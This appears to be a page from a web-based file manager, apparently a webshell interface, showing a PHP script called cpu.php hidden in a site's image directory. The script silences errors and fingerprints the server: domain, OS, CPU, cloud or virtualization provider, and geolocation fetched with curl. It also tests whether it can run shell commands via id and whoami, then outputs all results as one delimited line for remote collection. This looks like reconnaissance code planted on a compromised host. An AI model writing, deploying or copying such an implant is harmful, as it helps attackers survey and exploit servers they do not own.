✏️ 正在编辑: cpu.php
路径:
/home/bpioifn/www/pigmentse/img/cpu.php
提示:
您可以编辑任何文件(包括二进制文件),但请注意不当修改可能导致文件损坏。
<?php @error_reporting(0); @ini_set('display_errors', '0'); // ---- Basic system info (no external commands) ---- $domain = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https://' : 'http://'; $domain .= $_SERVER['HTTP_HOST']; $os = php_uname('s'); $kernel = php_uname('r'); $arch = php_uname('m'); // ---- CPU info from /proc/cpuinfo ---- $cpu_model = ''; $cores = ''; $threads = ''; $cpuinfo = @file_get_contents('/proc/cpuinfo'); if ($cpuinfo !== false) { if (preg_match('/model name\s*:\s*(.+)/', $cpuinfo, $m)) $cpu_model = trim($m[1]); if (preg_match('/cpu cores\s*:\s*(\d+)/', $cpuinfo, $m)) $cores = trim($m[1]); if (preg_match('/siblings\s*:\s*(\d+)/', $cpuinfo, $m)) $threads = trim($m[1]); if (empty($cores)) { preg_match_all('/^processor\s*:/m', $cpuinfo, $m); $cores = count($m[0]); } if (empty($threads)) { preg_match_all('/^processor\s*:/m', $cpuinfo, $m); $threads = count($m[0]); } } // ---- CPU usage percentage (using system commands) ---- $cpu_usage = 'N/A'; if (function_exists('exec') || function_exists('shell_exec')) { // Try multiple commands to get idle CPU percentage $cmds = [ // top (extract idle value) "top -bn1 2>/dev/null | grep 'Cpu(s)' | sed 's/.*, *\\([0-9.]*\\)%* id.*/\\1/'", // vmstat (idle column is $15) "vmstat 1 2 2>/dev/null | tail -1 | awk '{print $15}'", // mpstat (average idle is last field) "mpstat 1 1 2>/dev/null | grep Average | awk '{print $NF}'" ]; foreach ($cmds as $cmd) { $output = ''; if (function_exists('exec')) { @exec($cmd, $out, $ret); if ($ret === 0 && isset($out[0])) { $output = trim($out[0]); } } elseif (function_exists('shell_exec')) { $output = trim(@shell_exec($cmd)); } if (is_numeric($output)) { $idle = floatval($output); $cpu_usage = round(100 - $idle, 2) . '%'; break; } } } // ---- Virtualization detection ---- $virt = ''; $product = @file_get_contents('/sys/class/dmi/id/product_name'); if ($product !== false) { $virt = trim($product); } else { $vendor = @file_get_contents('/sys/class/dmi/id/sys_vendor'); if ($vendor !== false) $virt = trim($vendor); } if (!empty($virt)) { $v = strtolower($virt); if (strpos($v, 'kvm') !== false) $virt = 'KVM'; elseif (strpos($v, 'vmware') !== false) $virt = 'VMware'; elseif (strpos($v, 'virtualbox') !== false) $virt = 'VirtualBox'; elseif (strpos($v, 'xen') !== false) $virt = 'Xen'; elseif (strpos($v, 'amazon') !== false) $virt = 'AWS'; elseif (strpos($v, 'google') !== false) $virt = 'GCP'; elseif (strpos($v, 'microsoft') !== false) $virt = 'Azure'; elseif (strpos($v, 'alibaba') !== false) $virt = 'AliCloud'; elseif (strpos($v, 'tencent') !== false) $virt = 'TencentCloud'; elseif (strpos($v, 'physical') !== false || strpos($v, 'to be filled') !== false) $virt = 'Physical'; else $virt = ucfirst($virt); } else { $virt = ''; } // ---- Command execution capability test ---- $cmd_ok = ''; $test_cmds = ['id 2>/dev/null', 'whoami 2>/dev/null', 'echo test 2>/dev/null']; foreach ($test_cmds as $cmd) { $out = ''; if (function_exists('shell_exec')) $out = @shell_exec($cmd); if (!empty(trim($out))) { $cmd_ok = 'CMD_OK'; break; } if (function_exists('exec')) { $o = []; @exec($cmd, $o); $out = implode('', $o); if (!empty(trim($out))) { $cmd_ok = 'CMD_OK'; break; } } if (function_exists('system')) { ob_start(); @system($cmd); $out = ob_get_clean(); if (!empty(trim($out))) { $cmd_ok = 'CMD_OK'; break; } } } // ---- Get IP geolocation (random API, using curl) ---- $city = ''; $org_isp = ''; // Check if curl command is available $curl_available = false; if (function_exists('exec')) { @exec('command -v curl 2>/dev/null', $out_curl, $ret_curl); if ($ret_curl === 0 && !empty($out_curl)) { $curl_available = true; } } elseif (function_exists('shell_exec')) { $out_curl = @shell_exec('command -v curl 2>/dev/null'); if (!empty(trim($out_curl))) { $curl_available = true; } } if ($curl_available) { // Randomly choose API $api = (rand(0, 1) === 0) ? 'ip-api' : 'ipinfo'; if ($api === 'ip-api') { $cmd = 'curl -s http://ip-api.com/json/ 2>/dev/null'; $output = []; $return_var = -1; if (function_exists('exec')) { @exec($cmd, $output, $return_var); } elseif (function_exists('shell_exec')) { $output = @shell_exec($cmd); $return_var = ($output !== null) ? 0 : -1; } if ($return_var === 0 && !empty($output)) { $json_str = is_array($output) ? implode('', $output) : $output; $data = @json_decode($json_str, true); if ($data && isset($data['city'])) { $city = $data['city']; $org_isp = isset($data['isp']) ? $data['isp'] : ''; } else { $city = 'ERROR'; $org_isp = 'ERROR: json_parse_failed'; } } else { $city = 'ERROR'; $org_isp = 'ERROR: curl_failed'; } } else { // ipinfo.io $cmd = 'curl -s ipinfo.io 2>/dev/null'; $output = []; $return_var = -1; if (function_exists('exec')) { @exec($cmd, $output, $return_var); } elseif (function_exists('shell_exec')) { $output = @shell_exec($cmd); $return_var = ($output !== null) ? 0 : -1; } if ($return_var === 0 && !empty($output)) { $json_str = is_array($output) ? implode('', $output) : $output; $data = @json_decode($json_str, true); if ($data && isset($data['city'])) { $city = $data['city']; $org_isp = isset($data['org']) ? $data['org'] : ''; } else { $city = 'ERROR'; $org_isp = 'ERROR: json_parse_failed'; } } else { $city = 'ERROR'; $org_isp = 'ERROR: curl_failed'; } } } else { $city = 'ERROR'; $org_isp = 'ERROR: curl_command_not_found'; } // ---- Output with "---" separator ---- echo implode('---', [ $domain, $os, $kernel, $cpu_model, $cores, $threads, $cpu_usage, // NEW FIELD: current CPU usage percentage $virt, $cmd_ok, $city, $org_isp ]); ?>
💾 保存文件
← 返回文件管理器